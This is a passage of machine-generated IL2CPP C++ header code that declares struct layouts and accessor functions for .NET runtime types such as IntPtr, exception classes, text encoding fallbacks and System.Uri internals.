#pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.IntPtr struct IntPtr_t { public: // System.Void* System.IntPtr::m_value void* ___m_value_0; public: inline static int32_t get_offset_of_m_value_0() { return static_cast<int32_t>(offsetof(IntPtr_t, ___m_value_0)); } inline void* get_m_value_0() const { return ___m_value_0; } inline void** get_address_of_m_value_0() { return &___m_value_0; } inline void set_m_value_0(void* value) { ___m_value_0 = value; } }; struct IntPtr_t_StaticFields { public: // System.IntPtr System.IntPtr::Zero intptr_t ___Zero_1; public: inline static int32_t get_offset_of_Zero_1() { return static_cast<int32_t>(offsetof(IntPtr_t_StaticFields, ___Zero_1)); } inline intptr_t get_Zero_1() const { return ___Zero_1; } inline intptr_t* get_address_of_Zero_1() { return &___Zero_1; } inline void set_Zero_1(intptr_t value) { ___Zero_1 = value; } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // INTPTR_T_H #ifndef SYSTEMEXCEPTION_T5380468142AA850BE4A341D7AF3EAB9C78746782_H #define SYSTEMEXCEPTION_T5380468142AA850BE4A341D7AF3EAB9C78746782_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.SystemException struct SystemException_t5380468142AA850BE4A341D7AF3EAB9C78746782 : public Exception_t { public: public: }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // SYSTEMEXCEPTION_T5380468142AA850BE4A341D7AF3EAB9C78746782_H #ifndef DECODERREPLACEMENTFALLBACK_T8CF74B2DAE2A08AEA7DF6366778D2E3EA75FC742_H #define DECODERREPLACEMENTFALLBACK_T8CF74B2DAE2A08AEA7DF6366778D2E3EA75FC742_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Text.DecoderReplacementFallback struct DecoderReplacementFallback_t8CF74B2DAE2A08AEA7DF6366778D2E3EA75FC742 : public DecoderFallback_t128445EB7676870485230893338EF044F6B72F60 { public: // System.String System.Text.DecoderReplacementFallback::strDefault String_t* ___strDefault_4; public: inline static int32_t get_offset_of_strDefault_4() { return static_cast<int32_t>(offsetof(DecoderReplacementFallback_t8CF74B2DAE2A08AEA7DF6366778D2E3EA75FC742, ___strDefault_4)); } inline String_t* get_strDefault_4() const { return ___strDefault_4; } inline String_t** get_address_of_strDefault_4() { return &___strDefault_4; } inline void set_strDefault_4(String_t* value) { ___strDefault_4 = value; Il2CppCodeGenWriteBarrier((&___strDefault_4), value); } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // DECODERREPLACEMENTFALLBACK_T8CF74B2DAE2A08AEA7DF6366778D2E3EA75FC742_H #ifndef ENCODERREPLACEMENTFALLBACK_TC2E8A94C82BBF7A4CFC8E3FDBA8A381DCF29F998_H #define ENCODERREPLACEMENTFALLBACK_TC2E8A94C82BBF7A4CFC8E3FDBA8A381DCF29F998_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Text.EncoderReplacementFallback struct EncoderReplacementFallback_tC2E8A94C82BBF7A4CFC8E3FDBA8A381DCF29F998 : public EncoderFallback_tDE342346D01608628F1BCEBB652D31009852CF63 { public: // System.String System.Text.EncoderReplacementFallback::strDefault String_t* ___strDefault_4; public: inline static int32_t get_offset_of_strDefault_4() { return static_cast<int32_t>(offsetof(EncoderReplacementFallback_tC2E8A94C82BBF7A4CFC8E3FDBA8A381DCF29F998, ___strDefault_4)); } inline String_t* get_strDefault_4() const { return ___strDefault_4; } inline String_t** get_address_of_strDefault_4() { return &___strDefault_4; } inline void set_strDefault_4(String_t* value) { ___strDefault_4 = value; Il2CppCodeGenWriteBarrier((&___strDefault_4), value); } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // ENCODERREPLACEMENTFALLBACK_TC2E8A94C82BBF7A4CFC8E3FDBA8A381DCF29F998_H #ifndef OFFSET_T4D3750A78885B564FB4602C405B9EFF5A32066C7_H #define OFFSET_T4D3750A78885B564FB4602C405B9EFF5A32066C7_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Uri_Offset #pragma pack(push, tp, 1) struct Offset_t4D3750A78885B564FB4602C405B9EFF5A32066C7 { public: // System.UInt16 System.Uri_Offset::Scheme uint16_t ___Scheme_0; // System.UInt16 System.Uri_Offset::User uint16_t ___User_1; // System.UInt16 System.Uri_Offset::Host uint16_t ___Host_2; // System.UInt16 System.Uri_Offset::PortValue uint16_t ___PortValue_3; // System.UInt16 System.Uri_Offset::Path uint16_t ___Path_4; // System.UInt16 System.Uri_Offset::Query uint16_t ___Query_5; // System.UInt16 System.Uri_Offset::Fragment uint16_t ___Fragment_6; // System.UInt16 System.Uri_Offset::End uint16_t ___End_7; public: inline static int32_t get_offset_of_Scheme_0() { return static_cast<int32_t>(offsetof(Offset_t4D3750A78885B564FB4602C405B9EFF5A32066C7, ___Scheme_0)); } inline uint16_t get_Scheme_0() const { return ___Scheme_0; } inline uint16_t* get_address_of_Scheme_0() { return &___Scheme_0; } inline void set_Scheme_0(uint16_t value) { ___Scheme_0 = value; } inline static int32_t get_offset_of_User_1() { return static_cast<int32_t>(offsetof(Offset_t4D3750A78885B564FB4602C405B9EFF5A32066C7, ___User_1)); } inline uint16_t get_User_1() const { return ___User_1; } inline uint16_t* get_address_of_User_1() { return &___User_1; } inline void set_User_1(uint16_t value) { ___User_1 = value; } inline static int32_t get_offset_of_Host_2() { return static_cast<int32_t>(offsetof(Offset_t4D3750A78885B564FB4602C405B9EFF5A32066C7, ___Host_2)); } inline uint16_t get_Host_2() const { return ___Host_2; } inline uint16_t* get_address_of_Host_2() { return &___Host_2; } inline void set_Host_2(uint16_t value) { ___Host_2 = value; } inline static int32_t get_offset_of_PortValue_3() { return static_cast<int32_t>(offsetof(Offset_t4D3750A78885B564FB4602C405B9EFF5A32066C7, ___PortValue_3)); } inline uint16_t get_PortValue_3() const { return ___PortValue_3; } inline uint16_t* get_address_of_PortValue_3() { return &___PortValue_3; } inline void set_PortValue_3(uint16_t value) { ___PortValue_3 = value; } inline static int32_t get_offset_of_Path_4() { return static_cast<int32_t>(offsetof(Offset_t4D3750A78885B564FB4602C405B9EFF5A32066C7, ___Path_4)); } inline uint16_t get_Path_4() const { return ___Path_4; } inline uint16_t* get_address_of_Path_4() { return &___Path_4; } inline void set_Path_4(uint16_t value) { ___Path_4 = value; } inline static int32_t get_offset_of_Query_5() { return static_cast<int32_t>(offsetof(Offset_t4D3750A78885B564FB4602C405B9EFF5A32066C7, ___Query_5)); } inline uint16_t get_Query_5() const { return ___Query_5; } inline uint16_t* get_address_of_Query_5() { return &___Query_5; } inline void set_Query_5(uint16_t value) { ___Query_5 = value; } inline static int32_t get_offset_of_Fragment_6() { return static_cast<int32_t>(offsetof(Offset_t4D3750A78885B564FB4602C405B9EFF5A32066C7, ___Fragment_6)); } inline uint16_t get_Fragment_6() const { return ___Fragment_6; } inline uint16_t* get_address_of_Fragment_6() { return &___Fragment_6; } inline void set_Fragment_6(uint16_t value) { ___Fragment_6 = value; } inline static int32_t get_offset_of_End_7() { return static_cast<int32_t>(offsetof(Offset_t4D3750A78885B564FB4602C405B9EFF5A32066C7, ___End_7)); } inline uint16_t get_End_7() const { return ___End_7; } inline uint16_t* get_address_of_End_7() { return &___End_7; } inline void set_End_7(uint16_t value) { ___End_7 = value; } }; #pragma pack(pop, tp) #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // OFFSET_T4D3750A78885B564FB4602C405B9EFF5A32066C7_H #ifndef VOID_T22962CB4C05B1D89B55A6E1139F0E87A90987017_H #define VOID_T22962CB4C05B1D89B55A6E1139F0E87A90987017_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Void struct Void_t22962CB4C05B1D89B55A6E1139F0E87A90987017 { public: union { struct { }; uint8_t Void_t22962CB4C05B1D89B55A6E1139F0E87A90987017__padding[1]; }; public: }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // VOID_T22962CB4C05B1D89B55A6E1139F0E87A90987017_H #ifndef U3CPRIVATEIMPLEMENTATIONDETAILSU3E_TD3F45A95FC1F3A32916F221D83F290D182AD6291_H #define U3CPRIVATEIMPLEMENTATIONDETAILSU3E_TD3F45A95FC1F3A32916F221D83F290D182AD6291_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // <PrivateImplementationDetails> struct U3CPrivateImplementationDetailsU3E_tD3F45A95FC1F3A32916F221D83F290D182AD6291 : public RuntimeObject { public: public: }; struct U3CPrivateImplementationDetailsU3E_tD3F45A95FC1F3A32916F221D83F290D182AD6291_StaticFields { public: // <PrivateImplementationDetails>___StaticArrayInitTypeSizeU3D32 <PrivateImplementationDetails>::59F5BD34B6C013DEACC784F69C67E95150033A84 __StaticArrayInitTypeSizeU3D32_t5300E5FCBD58716E8A4EBB9470E4FAE1A0A964FA ___59F5BD34B6C013DEACC784F69C67E95150033A84_0; // <PrivateImplementationDetails>___StaticArrayInitTypeSizeU3D32 <PrivateImplementationDetails>::C02C28AFEBE998F767E4AF43E3BE8F5E9FA11536 __StaticArrayInitTypeSizeU3D32_t5300E5FCBD58716E8A4EBB9470E4FAE1A0A964FA ___C02C28AFEBE998F767E4AF43E3BE8F5E9FA11536_1; // <PrivateImplementationDetails>___StaticArrayInitTypeSizeU3D128 <PrivateImplementationDetails>::CCEEADA43268372341F81AE0C9208C6856441C04 __StaticArrayInitTypeSizeU3D128_t4A42759E6E25B0C61E6036A661F4344DE92C2905 ___CCEEADA43268372341F81AE0C9208C6856441C04_2; // System.Int64 <PrivateImplementationDetails>::E5BC1BAFADE1862DD6E0B9FB632BFAA6C3873A78 int64_t ___E5BC1BAFADE1862DD6E0B9FB632BFAA6C3873A78_3; public: inline static int32_t get_offset_of_U359F5BD34B6C013DEACC784F69C67E95150033A84_0() { return static_cast<int32_t>(offsetof(U3CPrivateImplementationDetailsU3E_tD3F45A95FC1F3A32916F221D83F290D182AD6291_StaticFields, ___59F5BD34B6C013DEACC784F69C67E95150033A84_0)); } inline __StaticArrayInitTypeSizeU3D32_t5300E5FCBD58716E8A4EBB9470E4FAE1A0A964FA get_U359F5BD34B6C013DEACC784F69C67E95150033A84_0() const { return ___59F5BD34B6C013DEACC784F69C67E95150033A84_0; } inline __StaticArrayInitTypeSizeU3D32_t5300E5FCBD58716E8A4EBB9470E4FAE1A0A964FA * get_address_of_U359F5BD34B6C013DEACC784F69C67E95150033A84_0() { return &___59F5BD34B6C013DEACC784F69C67E95150033A84_0; } inline void set_U359F5BD34B6C013DEACC784F69C67E95150033A84_0(__StaticArrayInitTypeSizeU3D32_t5300E5FCBD58716E8A4EBB9470E4FAE1A0A964FA value) { ___59F5BD34B6C013DEACC784F69C67E95150033A84_0 = value; } inline static int32_t get_offset_of_C02C28AFEBE998F767E4AF43E3BE8F5E9FA11536_1() { return static_cast<int32_t>(offsetof(U3CPrivateImplementationDetailsU3E_tD3F45A95FC1F3A32916F221D83F290D182AD6291_StaticFields, ___C02C28AFEBE998F767E4AF43E3BE8F5E9FA11536_1)); } inline __StaticArrayInitTypeSizeU3D32_t5300E5FCBD58716E8A4EBB9470E4FAE1A0A964FA get_C02C28AFEBE998F767E4AF43E3BE8F5E9FA11536_1() const { return ___C02C28AFEBE998F767E4AF43E3BE8F5E9FA11536_1; } inline __StaticArrayInitTypeSizeU3D32_t5300E5FCBD58716E8A4EBB9470E4FAE1A0A964FA * get_address_of_C02C28AFEBE998F767E4AF43E3BE8F5E9FA11536_1() { return &___C02C28AFEBE998F767E4AF43E3BE8F5E9FA11536_1; } inline void set_C02C28AFEBE998F767E4AF43E3BE8F5E9FA11536_1(__StaticArrayInitTypeSizeU3D32_t5300E5FCBD58716E8A4EBB9470E4FAE1A0A964FA value) { ___C02C28AFEBE998F767E4AF43E3BE8F5E9FA11536_1 = value; } inline static int32_t get_offset_of_CCEEADA43268372341F81AE0C9208C6856441C04_2() { return static_cast<int32_t>(offsetof(U3CPrivateImplementationDetailsU3E_tD3F45A95FC1F3A32916F221D83F290D182AD6291_StaticFields, ___CCEEADA43268372341F81AE0C9208C6856441C04_2)); } inline __StaticArrayInitTypeSizeU3D128_t4A42759E6E25B0C61E6036A661F4344DE92C2905 get_CCEEADA43268372341F81AE0C9208C6856441C04_2() const { return ___CCEEADA43268372341F81AE0C9208C6856441C04_2; } inline __StaticArrayInitTypeSizeU3D128_t4A42759E6E25B0C61E6036A661F4344DE92C2905 * get_address_of_CCEEADA43268372341F81AE0C9208C6856441C04_2() { return &___CCEEADA43268372341F81AE0C9208C6856441C04_2; } inline void set_CCEEADA43268372341F81AE0C9208C6856441C04_2(__StaticArrayInitTypeSizeU3D128_t4A42759E6E25B0C61E6036A661F4344DE92C2905 value) { ___CCEEADA43268372341F81AE0C9208C6856441C04_2 = value; } inline static int32_t get_offset_of_E5BC1BAFADE1862DD6E0B9FB632BFAA6C3873A78_3() { return static_cast<int32_t>(offsetof(U3CPrivateImplementationDetailsU3E_tD3F45A95FC1F3A32916F221D83F290D182AD6291_StaticFields, ___E5BC1BAFADE1862DD6E0B9FB632BFAA6C3873A78_3)); } inline int64_t get_E5BC1BAFADE1862DD6E0B9FB632BFAA6C3873A78_3() const { return ___E5BC1BAFADE1862DD6E0B9FB632BFAA6C3873A78_3; } inline int64_t* get_address_of_E5BC1BAFADE1862DD6E0B9FB632BFAA6C3873A78_3() { return &___E5BC1BAFADE1862DD6E0B9FB632BFAA6C3873A78_3; } inline void set_E5BC1BAFADE1862DD6E0B9FB632BFAA6C3873A78_3(int64_t value) { ___E5BC1BAFADE1862DD6E0B9FB632BFAA6C3873A78_3 = value; } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // U3CPRIVATEIMPLEMENTATIONDETAILSU3E_TD3F45A95FC1F3A32916F221D83F290D182AD6291_H #ifndef ARGUMENTEXCEPTION_TEDCD16F20A09ECE461C3DA766C16EDA8864057D1_H #define ARGUMENTEXCEPTION_TEDCD16F20A09ECE461C3DA766C16EDA8864057D1_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.ArgumentException struct ArgumentException_tEDCD16F20A09ECE461C3DA766C16EDA8864057D1 : public SystemException_t5380468142AA850BE4A341D7AF3EAB9C78746782 { public: // System.String System.ArgumentException::m_paramName String_t* ___m_paramName_17; public: inline static int32_t get_offset_of_m_paramName_17() { return static_cast<int32_t>(offsetof(ArgumentException_tEDCD16F20A09ECE461C3DA766C16EDA8864057D1, ___m_paramName_17)); } inline String_t* get_m_paramName_17() const { return ___m_paramName_17; } inline String_t** get_address_of_m_paramName_17() { return &___m_paramName_17; } inline void set_m_paramName_17(String_t* value) { ___m_paramName_17 = value; Il2CppCodeGenWriteBarrier((&___m_paramName_17), value); } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // ARGUMENTEXCEPTION_TEDCD16F20A09ECE461C3DA766C16EDA8864057D1_H #ifndef TYPECONVERTER_T8306AE03734853B551DDF089C1F17836A7764DBB_H #define TYPECONVERTER_T8306AE03734853B551DDF089C1F17836A7764DBB_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.ComponentModel.TypeConverter struct TypeConverter_t8306AE03734853B551DDF089C1F17836A7764DBB : public RuntimeObject { public: public: }; struct TypeConverter_t8306AE03734853B551DDF089C1F17836A7764DBB_StaticFields { public: // System.Boolean modreq(System.Runtime.CompilerServices.IsVolatile) System.ComponentModel.TypeConverter::useCompatibleTypeConversion bool ___useCompatibleTypeConversion_1; public: inline static int32_t get_offset_of_useCompatibleTypeConversion_1() { return static_cast<int32_t>(offsetof(TypeConverter_t8306AE03734853B551DDF089C1F17836A7764DBB_StaticFields, ___useCompatibleTypeConversion_1)); } inline bool get_useCompatibleTypeConversion_1() const { return ___useCompatibleTypeConversion_1; } inline bool* get_address_of_useCompatibleTypeConversion_1() { return &___useCompatibleTypeConversion_1; } inline void set_useCompatibleTypeConversion_1(bool value) { ___useCompatibleTypeConversion_1 = value; } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // TYPECONVERTER_T8306AE03734853B551DDF089C1F17836A7764DBB_H #ifndef FORMATEXCEPTION_T2808E076CDE4650AF89F55FD78F49290D0EC5BDC_H #define FORMATEXCEPTION_T2808E076CDE4650AF89F55FD78F49290D0EC5BDC_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.FormatException struct FormatException_t2808E076CDE4650AF89F55FD78F49290D0EC5BDC : public SystemException_t5380468142AA850BE4A341D7AF3EAB9C78746782 { public: public: }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // FORMATEXCEPTION_T2808E076CDE4650AF89F55FD78F49290D0EC5BDC_H #ifndef INVALIDOPERATIONEXCEPTION_T0530E734D823F78310CAFAFA424CA5164D93A1F1_H #define INVALIDOPERATIONEXCEPTION_T0530E734D823F78310CAFAFA424CA5164D93A1F1_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.InvalidOperationException struct InvalidOperationException_t0530E734D823F78310CAFAFA424CA5164D93A1F1 : public SystemException_t5380468142AA850BE4A341D7AF3EAB9C78746782 { public: public: }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // INVALIDOPERATIONEXCEPTION_T0530E734D823F78310CAFAFA424CA5164D93A1F1_H #ifndef NOTSUPPORTEDEXCEPTION_TE75B318D6590A02A5D9B29FD97409B1750FA0010_H #define NOTSUPPORTEDEXCEPTION_TE75B318D6590A02A5D9B29FD97409B1750FA0010_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.NotSupportedException struct NotSupportedException_tE75B318D6590A02A5D9B29FD97409B1750FA0010 : public SystemException_t5380468142AA850BE4A341D7AF3EAB9C78746782 { public: public: }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // NOTSUPPORTEDEXCEPTION_TE75B318D6590A02A5D9B29FD97409B1750FA0010_H #ifndef BINDINGFLAGS_TE35C91D046E63A1B92BB9AB909FCF9DA84379ED0_H #define BINDINGFLAGS_TE35C91D046E63A1B92BB9AB909FCF9DA84379ED0_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Reflection.BindingFlags struct BindingFlags_tE35C91D046E63A1B92BB9AB909FCF9DA84379ED0 { public: // System.Int32 System.Reflection.BindingFlags::value__ int32_t ___value___2; public: inline static int32_t get_offset_of_value___2() { return static_cast<int32_t>(offsetof(BindingFlags_tE35C91D046E63A1B92BB9AB909FCF9DA84379ED0, ___value___2)); } inline int32_t get_value___2() const { return ___value___2; } inline int32_t* get_address_of_value___2() { return &___value___2; } inline void set_value___2(int32_t value) { ___value___2 = value; } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // BINDINGFLAGS_TE35C91D046E63A1B92BB9AB909FCF9DA84379ED0_H #ifndef STREAMINGCONTEXTSTATES_T6D16CD7BC584A66A29B702F5FD59DF62BB1BDD3F_H #define STREAMINGCONTEXTSTATES_T6D16CD7BC584A66A29B702F5FD59DF62BB1BDD3F_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Runtime.Serialization.StreamingContextStates struct StreamingContextStates_t6D16CD7BC584A66A29B702F5FD59DF62BB1BDD3F { public: // System.Int32 System.Runtime.Serialization.StreamingContextStates::value__ int32_t ___value___2; public: inline static int32_t get_offset_of_value___2() { return static_cast<int32_t>(offsetof(StreamingContextStates_t6D16CD7BC584A66A29B702F5FD59DF62BB1BDD3F, ___value___2)); } inline int32_t get_value___2() const { return ___value___2; } inline int32_t* get_address_of_value___2() { return &___value___2; } inline void set_value___2(int32_t value) { ___value___2 = value; } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // STREAMINGCONTEXTSTATES_T6D16CD7BC584A66A29B702F5FD59DF62BB1BDD3F_H #ifndef RUNTIMEFIELDHANDLE_T844BDF00E8E6FE69D9AEAA7657F09018B864F4EF_H #define RUNTIMEFIELDHANDLE_T844BDF00E8E6FE69D9AEAA7657F09018B864F4EF_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.RuntimeFieldHandle struct RuntimeFieldHandle_t844BDF00E8E6FE69D9AEAA7657F09018B864F4EF { public: // System.IntPtr System.RuntimeFieldHandle::value intptr_t ___value_0; public: inline static int32_t get_offset_of_value_0() { return static_cast<int32_t>(offsetof(RuntimeFieldHandle_t844BDF00E8E6FE69D9AEAA7657F09018B864F4EF, ___value_0)); } inline intptr_t get_value_0() const { return ___value_0; } inline intptr_t* get_address_of_value_0() { return &___value_0; } inline void set_value_0(intptr_t value) { ___value_0 = value; } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // RUNTIMEFIELDHANDLE_T844BDF00E8E6FE69D9AEAA7657F09018B864F4EF_H #ifndef RUNTIMETYPEHANDLE_T7B542280A22F0EC4EAC2061C29178845847A8B2D_H #define RUNTIMETYPEHANDLE_T7B542280A22F0EC4EAC2061C29178845847A8B2D_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.RuntimeTypeHandle struct RuntimeTypeHandle_t7B542280A22F0EC4EAC2061C29178845847A8B2D { public: // System.IntPtr System.RuntimeTypeHandle::value intptr_t ___value_0; public: inline static int32_t get_offset_of_value_0() { return static_cast<int32_t>(offsetof(RuntimeTypeHandle_t7B542280A22F0EC4EAC2061C29178845847A8B2D, ___value_0)); } inline intptr_t get_value_0() const { return ___value_0; } inline intptr_t* get_address_of_value_0() { return &___value_0; } inline void set_value_0(intptr_t value) { ___value_0 = value; } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // RUNTIMETYPEHANDLE_T7B542280A22F0EC4EAC2061C29178845847A8B2D_H #ifndef UNESCAPEMODE_T22E9EF2FB775920C1538E221765EE5B0D91E7470_H #define UNESCAPEMODE_T22E9EF2FB775920C1538E221765EE5B0D91E7470_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.UnescapeMode struct UnescapeMode_t22E9EF2FB775920C1538E221765EE5B0D91E7470 { public: // System.Int32 System.UnescapeMode::value__ int32_t ___value___2; public: inline static int32_t get_offset_of_value___2() { return static_cast<int32_t>(offsetof(UnescapeMode_t22E9EF2FB775920C1538E221765EE5B0D91E7470, ___value___2)); } inline int32_t get_value___2() const { return ___value___2; } inline int32_t* get_address_of_value___2() { return &___value___2; } inline void set_value___2(int32_t value) { ___value___2 = value; } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // UNESCAPEMODE_T22E9EF2FB775920C1538E221765EE5B0D91E7470_H #ifndef CHECK_T597B1C13F5DD4DAAA857F961852721AE4DD0BD5E_H #define CHECK_T597B1C13F5DD4DAAA857F961852721AE4DD0BD5E_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Uri_Check struct Check_t597B1C13F5DD4DAAA857F961852721AE4DD0BD5E { public: // System.Int32 System.Uri_Check::value__ int32_t ___value___2; public: inline static int32_t get_offset_of_value___2() { return static_cast<int32_t>(offsetof(Check_t597B1C13F5DD4DAAA857F961852721AE4DD0BD5E, ___value___2)); } inline int32_t get_value___2() const { return ___value___2; } inline int32_t* get_address_of_value___2() { return &___value___2; } inline void set_value___2(int32_t value) { ___value___2 = value; } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // CHECK_T597B1C13F5DD4DAAA857F961852721AE4DD0BD5E_H #ifndef FLAGS_TEBE7CABEBD13F16920D6950B384EB8F988250A2A_H #define FLAGS_TEBE7CABEBD13F16920D6950B384EB8F988250A2A_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Uri_Flags struct Flags_tEBE7CABEBD13F16920D6950B384EB8F988250A2A { public: // System.UInt64 System.Uri_Flags::value__ uint64_t ___value___2; public: inline static int32_t get_offset_of_value___2() { return static_cast<int32_t>(offsetof(Flags_tEBE7CABEBD13F16920D6950B384EB8F988250A2A, ___value___2)); } inline uint64_t get_value___2() const { return ___value___2; } inline uint64_t* get_address_of_value___2() { return &___value___2; } inline void set_value___2(uint64_t value) { ___value___2 = value; } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // FLAGS_TEBE7CABEBD13F16920D6950B384EB8F988250A2A_H #ifndef URIINFO_T9FCC6BD4EC1EA14D75209E6A35417057BF6EDC5E_H #define URIINFO_T9FCC6BD4EC1EA14D75209E6A35417057BF6EDC5E_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Uri_UriInfo struct UriInfo_t9FCC6BD4EC1EA14D75209E6A35417057BF6EDC5E : public RuntimeObject { public: // System.String System.Uri_UriInfo::Host String_t* ___Host_0; // System.String System.Uri_UriInfo::ScopeId String_t* ___ScopeId_1; // System.String System.Uri_UriInfo::String String_t* ___String_2; // System.Uri_Offset System.Uri_UriInfo::Offset Offset_t4D3750A78885B564FB4602C405B9EFF5A32066C7 ___Offset_3; // System.String System.Uri_UriInfo::DnsSafeHost String_t* ___DnsSafeHost_4; // System.Uri_MoreInfo System.Uri_UriInfo::MoreInfo MoreInfo_t83B9EC79244C26B468C115E54C0BEF09BB2E05B5 * ___MoreInfo_5; public: inline static int32_t get_offset_of_Host_0() { return static_cast<int32_t>(offsetof(UriInfo_t9FCC6BD4EC1EA14D75209E6A35417057BF6EDC5E, ___Host_0)); } inline String_t* get_Host_0() const { return ___Host_0; } inline String_t** get_address_of_Host_0() { return &___Host_0; } inline void set_Host_0(String_t* value) { ___Host_0 = value; Il2CppCodeGenWriteBarrier((&___Host_0), value); } inline static int32_t get_offset_of_ScopeId_1() { return static_cast<int32_t>(offsetof(UriInfo_t9FCC6BD4EC1EA14D75209E6A35417057BF6EDC5E, ___ScopeId_1)); } inline String_t* get_ScopeId_1() const { return ___ScopeId_1; } inline String_t** get_address_of_ScopeId_1() { return &___ScopeId_1; } inline void set_ScopeId_1(String_t* value) { ___ScopeId_1 = value; Il2CppCodeGenWriteBarrier((&___ScopeId_1), value); } inline static int32_t get_offset_of_String_2() { return static_cast<int32_t>(offsetof(UriInfo_t9FCC6BD4EC1EA14D75209E6A35417057BF6EDC5E, ___String_2)); } inline String_t* get_String_2() const { return ___String_2; } inline String_t** get_address_of_String_2() { return &___String_2; } inline void set_String_2(String_t* value) { ___String_2 = value; Il2CppCodeGenWriteBarrier((&___String_2), value); } inline static int32_t get_offset_of_Offset_3() { return static_cast<int32_t>(offsetof(UriInfo_t9FCC6BD4EC1EA14D75209E6A35417057BF6EDC5E, ___Offset_3)); } inline Offset_t4D3750A78885B564FB4602C405B9EFF5A32066C7 get_Offset_3() const { return ___Offset_3; } inline Offset_t4D3750A78885B564FB4602C405B9EFF5A32066C7 * get_address_of_Offset_3() { return &___Offset_3; } inline void set_Offset_3(Offset_t4D3750A78885B564FB4602C405B9EFF5A32066C7 value) { ___Offset_3 = value; } inline static int32_t get_offset_of_DnsSafeHost_4() { return static_cast<int32_t>(offsetof(UriInfo_t9FCC6BD4EC1EA14D75209E6A35417057BF6EDC5E, ___DnsSafeHost_4)); } inline String_t* get_DnsSafeHost_4() const { return ___DnsSafeHost_4; } inline String_t** get_address_of_DnsSafeHost_4() { return &___DnsSafeHost_4; } inline void set_DnsSafeHost_4(String_t* value) { ___DnsSafeHost_4 = value; Il2CppCodeGenWriteBarrier((&___DnsSafeHost_4), value); } inline static int32_t get_offset_of_MoreInfo_5() { return static_cast<int32_t>(offsetof(UriInfo_t9FCC6BD4EC1EA14D75209E6A35417057BF6EDC5E, ___MoreInfo_5)); } inline MoreInfo_t83B9EC79244C26B468C115E54C0BEF09BB2E05B5 * get_MoreInfo_5() const { return ___MoreInfo_5; } inline MoreInfo_t83B9EC79244C26B468C115E54C0BEF09BB2E05B5 ** get_address_of_MoreInfo_5() { return &___MoreInfo_5; } inline void set_MoreInfo_5(MoreInfo_t83B9EC79244C26B468C115E54C0BEF09BB2E05B5 * value) { ___MoreInfo_5 = value; Il2CppCodeGenWriteBarrier((&___MoreInfo_5), value); } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // URIINFO_T9FCC6BD4EC1EA14D75209E6A35417057BF6EDC5E_H #ifndef URICOMPONENTS_TE42D5229291668DE73323E1C519E4E1459A64CFF_H #define URICOMPONENTS_TE42D5229291668DE73323E1C519E4E1459A64CFF_H #ifdef __clang__ 